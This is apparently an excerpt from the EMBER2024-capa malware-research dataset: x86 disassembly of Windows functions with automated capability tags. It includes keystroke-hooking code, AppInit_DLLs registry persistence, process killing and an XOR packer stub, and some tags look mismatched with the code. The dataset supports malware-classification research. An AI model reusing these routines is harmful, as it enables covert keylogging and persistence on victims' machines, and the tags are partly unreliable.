joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a44
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402ab8
cmp byte [ebp + 8], 1
jne 0x402a96
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402aa4
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402ac4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402b2b
cmp byte [ebp + 8], 1
jne 0x402b09
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402b17
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402b38
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WritePrivateProfileStringA
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402bb8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402bf8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x402d50
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x402d64
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
mov eax, ebx
pop ebx
ret
Function at 0x404740
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x407910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x404700
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x408228], eax
push 0
push 0x407910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x404720
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40822c], eax
ret

Function at 0x404780
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x404788
mov eax, dword [esp + 0x2000]
add esp, 0xffffff84
mov edx, 0x404804
mov eax, dword [0x4076f8]
call fcn.004026b0
mov eax, esp
mov edx, 0x2080
call fcn.00402ed0
push 0x404818
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA_1
mov esi, 1
mov ebx, esp
mov eax, ebx
xor edx, edx
call fcn.004025b8
test eax, eax
jbe 0x4047ef
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
add ebx, 0x104
dec esi
jne 0x4047cd
add esp, 0x2080
pop esi
pop ebx
ret

Function at 0x404824
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x40493c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x408028
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x404944
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x407a14
mov ecx, 0x404954
mov edx, ebx
mov eax, 0x80000000
call fcn.00402bb8
push 0x404958
mov ecx, 0x404964
mov edx, ebx
mov eax, 0x80000000
call fcn.00402bb8
push 0x404974
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x407910
mov ecx, 0x408028
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bb8
push 0x4049bc
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404954
mov ecx, 0x4049f4
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bb8
push 0x404a04
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x404a3c
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bf8
push 1
mov ecx, 0x404a4c
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bf8
push 0x404a58
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x404ab4
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404abc
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bf8
add esp, 0x200
pop ebx
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408e58
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1a594181
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x6d361b9
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401ded
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4060e0
cmp edx, dword [eax]
je 0x401e0f
add eax, 8
inc ecx
cmp eax, 0x406170
jl 0x401e00
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4060e0]
jne 0x401f3d
mov eax, dword [0x4084c8]
cmp eax, 1
je 0x401f17
test eax, eax
jne 0x401e40
cmp dword [0x406034], 1
je 0x401f17
cmp edx, 0xfc
je 0x401f3d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401e77
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004023d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402580
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x401eba
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402580
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4053b0
push edi
call fcn.00403c20
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004023d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004023e0
lea eax, [ebp - 0xa0]
push 0x405390
push eax
call fcn.004023e0
push dword [esi + 0x4060e4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004023e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00403b94
add esp, 0x2c
pop edi
jmp 0x401f3d
lea eax, [ebp + 8]
lea esi, [esi + 0x4060e4]
push 0
push eax
push dword [esi]
call fcn.00402580
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403524
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x5cc008], 0x8088405
inc edx
mov dword [ebx + 0x5cc008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40d17c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebp, eax
test ebp, ebp
je 0x40d21c
test ebp, ebp
setl byte [esp]
mov eax, edi
xor ecx, ecx
mov edx, 0xb
call fcn.0040638c
mov esi, 0xb
mov eax, ebp
mov ecx, 0xa
cdq
idiv ecx
mov eax, edx
cdq
xor eax, edx
sub eax, edx
mov ebx, eax
mov ecx, 0xa
mov eax, ebp
cdq
idiv ecx
mov ebp, eax
mov eax, edi
call fcn.00406264
add bl, 0x30
mov byte [eax + esi - 1], bl
dec esi
test ebp, ebp
jne 0x40d1a6
cmp byte [esp], 0
je 0x40d1eb
mov eax, edi
call fcn.00406264
mov byte [eax + esi - 1], 0x2d
dec esi
test esi, esi
jle 0x40d228
mov eax, edi
call fcn.00406264
push eax
mov eax, edi
call fcn.00406264
add eax, esi
mov ebx, 0xb
sub ebx, esi
mov ecx, ebx
pop edx
call fcn.004032a8
mov edx, ebx
mov eax, edi
xor ecx, ecx
call fcn.0040638c
jmp 0x40d228
mov eax, edi
mov edx, 0x40d23c
call fcn.00405a80
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40d240
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebx, eax
test ebx, ebx
je 0x40d2e3
test ebx, ebx
setl byte [esp]
mov eax, edi
mov edx, 0xb
call fcn.00406c94
mov esi, 0xb
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov eax, edx
cdq
xor eax, edx
sub eax, edx
mov ebp, eax
mov ecx, 0xa
mov eax, ebx
cdq
idiv ecx
mov ebx, eax
mov eax, edi
call fcn.004073e8
add bp, 0x30
mov word [eax + esi*2 - 2], bp
dec esi
test ebx, ebx
jne 0x40d268
cmp byte [esp], 0
je 0x40d2b1
mov eax, edi
call fcn.004073e8
mov word [eax + esi*2 - 2], 0x2d
dec esi
test esi, esi
jle 0x40d2ef
mov eax, edi
call fcn.004073e8
push eax
mov eax, edi
call fcn.004073e8
lea eax, [eax + esi*2]
mov ebx, 0xb
sub ebx, esi
mov ecx, ebx
add ecx, ecx
pop edx
call fcn.004032a8
mov edx, ebx
mov eax, edi
call fcn.00406c94
jmp 0x40d2ef
mov eax, edi
mov edx, 0x40d304
call fcn.00406918
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40eca0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
mov edx, esi
call fcn.00405a80
mov eax, ebx
call fcn.0040625c
mov eax, dword [ebx]
call fcn.00405df0
test eax, eax
jle 0x40ecd1
mov edx, 1
mov ecx, dword [ebx]
xor byte [ecx + edx - 1], 0x55
inc edx
dec eax
jne 0x40ecc6
pop esi
pop ebx
ret
Function at 0x40f9bc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40fabd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x30]
call fcn.00408204
mov esi, eax
lea eax, [esi + 1]
push eax
lea eax, [ebx + 0x30]
mov ecx, 1
mov edx, dword [0x40f6b4]
call fcn.004083cc
add esp, 4
lea eax, [esi + esi*2]
mov edx, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x38]
mov dword [edx + eax*8], ecx
mov ecx, dword [ebx + 0x3c]
mov dword [edx + eax*8 + 4], ecx
mov edx, dword [ebx + 0x30]
mov ecx, dword [ebp + 8]
mov dword [edx + eax*8 + 8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [edx + eax*8 + 0xc], ecx
test edi, edi
jne 0x40fa3e
test esi, esi
jle 0x40fa3e
lea edi, [esi + esi*2]
mov eax, dword [ebx + 0x30]
lea eax, [eax + edi*8 + 0x10]
mov edx, dword [ebx + 0x30]
mov edx, dword [edx + edi*8 - 8]
call fcn.00406918
jmp 0x40fa4f
lea eax, [esi + esi*2]
mov edx, dword [ebx + 0x30]
lea eax, [edx + eax*8 + 0x10]
mov edx, edi
call fcn.00406918
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add dword [ebx + 0x38], eax
adc dword [ebx + 0x3c], edx
test esi, esi
jne 0x40faa7
call fcn.00409dcc
test eax, 0x80000000
jne 0x40fa82
mov eax, dword [ebx + 0x30]
mov eax, dword [eax + 0x10]
call fcn.004069a4
push eax
mov eax, dword [ebx + 0x28]
push eax
call fcn.0040aa84
jmp 0x40faa7
lea eax, [ebp - 4]
mov edx, dword [ebx + 0x30]
mov edx, dword [edx + 0x10]
mov ecx, 0
call fcn.00406b5c
mov eax, dword [ebp - 4]
call fcn.004061ec
push eax
mov eax, dword [ebx + 0x28]
push eax
call fcn.0040aa7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fac4
lea eax, [ebp - 4]
call fcn.00405a2c
ret
Function at 0x410e38
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 8], eax
mov esi, dword [ebx + 0x24]
sub esi, dword [ebx + 0x5c]
sub esi, dword [ebx + 0x54]
test esi, esi
jne 0x410e69
cmp dword [ebx + 0x54], 0
jne 0x410e69
cmp dword [ebx + 0x5c], 0
jne 0x410e69
mov esi, dword [ebp - 8]
jmp 0x410f14
cmp esi, 0xffffffff
jne 0x410e74
dec esi
jmp 0x410f14
mov eax, dword [ebx + 0x54]
mov edx, dword [ebp - 8]
sub edx, 0x106
add edx, dword [ebp - 8]
cmp eax, edx
jb 0x410f14
mov eax, dword [ebx + 0x20]
mov edx, dword [ebp - 8]
lea edx, [eax + edx]
mov ecx, dword [ebp - 8]
xchg edx, eax
call fcn.004032a8
mov eax, dword [ebp - 8]
sub dword [ebx + 0x58], eax
mov eax, dword [ebp - 8]
sub dword [ebx + 0x54], eax
mov eax, dword [ebp - 8]
sub dword [ebx + 0x44], eax
mov eax, dword [ebx + 0x34]
mov edx, dword [ebx + 0x2c]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jb 0x410ed6
movzx ecx, word [ebp - 4]
sub cx, word [ebp - 8]
mov word [edx], cx
jmp 0x410edb
mov word [edx], 0
dec eax
test eax, eax
jne 0x410eb8
mov eax, dword [ebp - 8]
mov edx, dword [ebx + 0x28]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 8]
jb 0x410f07
movzx ecx, word [ebp - 4]
sub cx, word [ebp - 8]
mov word [edx], cx
jmp 0x410f0c
mov word [edx], 0
dec eax
test eax, eax
jne 0x410ee9
add esi, dword [ebp - 8]
mov ecx, dword [ebx]
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0xc]
push edx
push eax
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x18]
mov eax, dword [eax + 0x14]
cmp edx, dword [esp + 4]
jne 0x410f30
cmp eax, dword [esp]
pop edx
pop eax
je 0x410f9e
push ebp
mov eax, dword [ebx + 0x54]
add eax, dword [ebx + 0x5c]
mov edx, dword [ebx + 0x20]
add edx, eax
mov eax, ecx
mov ecx, esi
call fcn.00410dc4
pop ecx
add dword [ebx + 0x5c], eax
cmp dword [ebx + 0x5c], 3
jb 0x410f78
mov eax, dword [ebx + 0x54]
mov edx, dword [ebx + 0x20]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x30], eax
mov ecx, dword [ebx + 0x40]
shl eax, cl
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x20]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x3c]
mov dword [ebx + 0x30], eax
cmp dword [ebx + 0x5c], 0x106
jae 0x410f9e
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
mov eax, dword [eax + 8]
mov ecx, dword [ebp + 8]
cmp edx, dword [ecx + 0x18]
jne 0x410e48
cmp eax, dword [ecx + 0x14]
jne 0x410e48
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x414bb8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, eax
dec ecx
test ecx, ecx
jl 0x414bdc
inc ecx
mov eax, edx
mov edx, esi
xor dl, byte [eax]
movzx edx, dl
mov edx, dword [edx*4 + 0x5cd780]
shr esi, 8
xor edx, esi
mov esi, edx
inc eax
dec ecx
jne 0x414bc3
mov eax, esi
pop esi
ret

Function at 0x416a28
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
movzx eax, cl
mov edx, dword [ebp - 4]
cmp word [edx + eax*2], 0xffff
jne 0x416a7a
mov dword [ebp - 0xc], 0x7fffffff
xor esi, esi
mov ebx, dword [ebp - 8]
movzx eax, cl
movzx edx, byte [ebx]
sub eax, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, dword [ebp - 0xc]
jge 0x416a71
movzx edx, cl
mov edi, dword [ebp - 4]
lea edi, [edi + edx*2]
mov word [edi], si
mov dword [ebp - 0xc], eax
inc esi
add ebx, 3
cmp esi, 0x10
jne 0x416a50
movzx eax, cl
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax*2]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41a600
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
xor eax, eax
push ebp
push 0x41a64c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 2
mov edi, esi
mov eax, edi
call fcn.0041b634
test al, al
jne 0x41a642
cmp word [edi], 0x5a4d
jne 0x41a642
lea eax, [esi + 0x3c]
mov ebx, dword [eax]
add ebx, esi
cmp dword [ebx], 0x4550
je 0x41a642
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41a658
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41bbd0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor esi, esi
mov edi, 0x12
mov eax, dword [ebp + 8]
lea ecx, [eax - 0x48]
lea eax, [esi + 1]
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 4]
movzx ebx, byte [eax + edx]
shl ebx, 0x10
mov eax, dword [ebp - 4]
movzx eax, byte [eax + esi]
shl eax, 0x18
add ebx, eax
lea eax, [esi + 2]
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + edx]
shl eax, 8
add ebx, eax
lea eax, [esi + 3]
xor edx, edx
div dword [ebp - 8]
mov eax, dword [ebp - 4]
movzx eax, byte [eax + edx]
add ebx, eax
xor dword [ecx], ebx
lea eax, [esi + 4]
xor edx, edx
div dword [ebp - 8]
mov esi, edx
add ecx, 4
dec edi
jne 0x41bbec
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
xor edi, edi
mov eax, dword [ebp + 8]
push eax
push 1
mov eax, dword [ebp + 8]
lea ecx, [eax - 0x48]
lea edx, [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.0041b810
pop ecx
mov eax, edi
add eax, eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [edx + eax*4 - 0x48], ecx
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov dword [edx + eax*4 - 0x44], ecx
inc edi
cmp edi, 9
jne 0x41bc4d
mov edi, 4
mov eax, dword [ebp + 8]
lea ebx, [eax - 0x1048]
xor esi, esi
mov eax, dword [ebp + 8]
push eax
push 1
mov eax, dword [ebp + 8]
lea ecx, [eax - 0x48]
lea edx, [ebp - 0x10]
lea eax, [ebp - 0xc]
call fcn.0041b810
pop ecx
mov eax, esi
add eax, eax
mov edx, dword [ebp - 0xc]
mov dword [ebx + eax*4], edx
mov edx, dword [ebp - 0x10]
mov dword [ebx + eax*4 + 4], edx
inc esi
cmp esi, 0x80
jne 0x41bc93
add ebx, 0x400
dec edi
jne 0x41bc91
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41bcd8
Capabilities:
Encrypt data using blowfish

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffffa0
push ebx
push esi
push edi
mov byte [ebp - 0x1049], cl
mov edi, edx
mov ebx, eax
mov eax, dword [ebp + 0x14]
call fcn.004061dc
lea esi, [ebp - 0x1058]
xor eax, eax
push ebp
push 0x41beb8
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
push edi
mov esi, 0x5cdc20
lea edi, [ebp - 0x48]
mov ecx, 0x12
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push esi
push edi
mov esi, 0x5cdc68
lea edi, [ebp - 0x1048]
mov ecx, 0x400
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push ebp
lea eax, [ebp + 0x14]
xor edx, edx
call fcn.00405c58
call fcn.00405df0
push eax
mov eax, dword [ebp + 0x14]
call fcn.004061ec
pop edx
call fcn.0041bbd0
pop ecx
cmp byte [ebp - 0x1049], 0
je 0x41bd75
lea eax, [ebp - 0x48]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], 1
jmp 0x41bd88
lea eax, [ebp - 4]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], 0xffffffff
shr edi, 3
dec edi
test edi, edi
jl 0x41bea2
inc edi
mov dword [ebp - 0x1060], edi
cmp dword [ebp + 0x10], 0
jne 0x41bda5
cmp dword [ebp + 0xc], 0
je 0x41be22
mov dword [esi], 7
lea eax, [ebp + 0xc]
add eax, dword [esi]
movzx edx, byte [eax]
inc edx
and dl, 0xff
mov byte [eax], dl
lea eax, [ebp + 0xc]
add eax, dword [esi]
cmp byte [eax], 0
jne 0x41bdcc
dec dword [esi]
cmp dword [esi], 0xffffffff
jne 0x41bdad
lea eax, [ebp + 0xc]
mov eax, dword [eax]
call fcn.0041b7e4
mov dword [esi], eax
lea eax, [ebp + 0xc]
add eax, 4
mov eax, dword [eax]
call fcn.0041b7e4
mov dword [ebp - 0x105c], eax
push ebp
mov eax, dword [ebp - 0x1054]
push eax
lea edx, [ebp - 0x105c]
mov eax, esi
mov ecx, dword [ebp - 0x1050]
call fcn.0041b810
pop ecx
mov eax, dword [esi]
call fcn.0041b7e4
xor dword [ebx], eax
mov eax, dword [ebp - 0x105c]
call fcn.0041b7e4
lea edx, [ebx + 4]
xor dword [edx], eax
jmp 0x41be93
cmp byte [ebp + 8], 0
jne 0x41be7a
mov edi, ebx
mov eax, dword [edi]
call fcn.0041b7e4
mov dword [esi], eax
lea eax, [ebx + 4]
mov eax, dword [eax]
call fcn.0041b7e4
mov dword [ebp - 0x105c], eax
push ebp
mov eax, dword [ebp - 0x1054]
push eax
lea edx, [ebp - 0x105c]
mov eax, esi
mov ecx, dword [ebp - 0x1050]
call fcn.0041b810
pop ecx
mov eax, dword [esi]
call fcn.0041b7e4
mov dword [edi], eax
mov eax, dword [ebp - 0x105c]
call fcn.0041b7e4
lea edx, [ebx + 4]
mov dword [edx], eax
jmp 0x41be93
push ebp
mov eax, dword [ebp - 0x1054]
push eax
mov edx, ebx
lea eax, [ebx + 4]
mov ecx, dword [ebp - 0x1050]
call fcn.0041b810
pop ecx
add ebx, 8
dec dword [ebp - 0x1060]
jne 0x41bd9b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41bebf
lea eax, [ebp + 0x14]
call fcn.00405a2c
ret
Function at 0x41bfe4
Capabilities:
Encode data using base64

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
test esi, esi
jle 0x41c10f
lea eax, [esi + 2]
mov ecx, 3
cdq
idiv ecx
mov edx, eax
add edx, edx
add edx, edx
mov eax, edi
xor ecx, ecx
call fcn.0040638c
mov ecx, dword [edi]
mov eax, esi
mov edi, 3
cdq
idiv edi
mov edi, eax
test edi, edi
jle 0x41c081
movzx eax, byte [ebx]
shl eax, 0x10
movzx edx, byte [ebx + 1]
shl edx, 8
add eax, edx
movzx edx, byte [ebx + 2]
add eax, edx
mov edx, eax
shr edx, 0x12
and edx, 0x3f
movzx edx, byte [edx + 0x5cec68]
mov byte [ecx], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
movzx edx, byte [edx + 0x5cec68]
mov byte [ecx + 1], dl
mov edx, eax
shr edx, 6
and edx, 0x3f
movzx edx, byte [edx + 0x5cec68]
mov byte [ecx + 2], dl
and eax, 0x3f
movzx eax, byte [eax + 0x5cec68]
mov byte [ecx + 3], al
add ecx, 4
add ebx, 3
dec edi
jne 0x41c021
mov eax, esi
mov esi, 3
cdq
idiv esi
dec edx
je 0x41c096
dec edx
je 0x41c0c7
jmp 0x41c116
movzx eax, byte [ebx]
shl eax, 0x10
mov edx, eax
shr edx, 0x12
and edx, 0x3f
movzx edx, byte [edx + 0x5cec68]
mov byte [ecx], dl
shr eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + 0x5cec68]
mov byte [ecx + 1], al
mov byte [ecx + 2], 0x3d
mov byte [ecx + 3], 0x3d
jmp 0x41c116
movzx eax, byte [ebx]
shl eax, 0x10
movzx edx, byte [ebx + 1]
shl edx, 8
add eax, edx
mov edx, eax
shr edx, 0x12
and edx, 0x3f
movzx edx, byte [edx + 0x5cec68]
mov byte [ecx], dl
mov edx, eax
shr edx, 0xc
and edx, 0x3f
movzx edx, byte [edx + 0x5cec68]
mov byte [ecx + 1], dl
shr eax, 6
and eax, 0x3f
movzx eax, byte [eax + 0x5cec68]
mov byte [ecx + 2], al
mov byte [ecx + 3], 0x3d
jmp 0x41c116
mov eax, edi
call fcn.00405a2c
pop edi
pop esi
pop ebx
ret